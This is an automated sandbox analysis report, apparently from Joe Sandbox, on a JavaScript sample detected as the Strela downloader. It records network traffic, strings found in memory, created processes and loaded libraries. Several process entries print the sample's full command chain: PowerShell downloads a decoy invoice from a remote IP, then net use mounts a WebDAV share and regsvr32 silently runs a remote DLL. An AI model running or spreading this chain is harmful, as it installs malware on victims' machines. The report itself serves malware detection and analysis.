
Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2098312852.0000020BE78E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2156823252.000002A2A6411000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2157175309.000002A2A63E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2157228982.000002A2A6411000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2157320303.000002A2A6442000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2156596426.000002A2A6440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2156823252.000002A2A6411000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2157228982.000002A2A6411000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/k
Source: net.exe, 00000007.00000002.2157175309.000002A2A63E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s64s
Source: svchost.exe, 00000009.00000002.3375910533.0000026969400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2160561032.0000026969270000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5448, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 200475024256003612.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3876:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j3lcc24e.nxh.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\200475024256003612.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2180 --field-trial-handle=1540,i,14269894298983428743,2519237243031120885,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2180 --field-trial-handle=1540,i,14269894298983428743,2519237243031120885,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
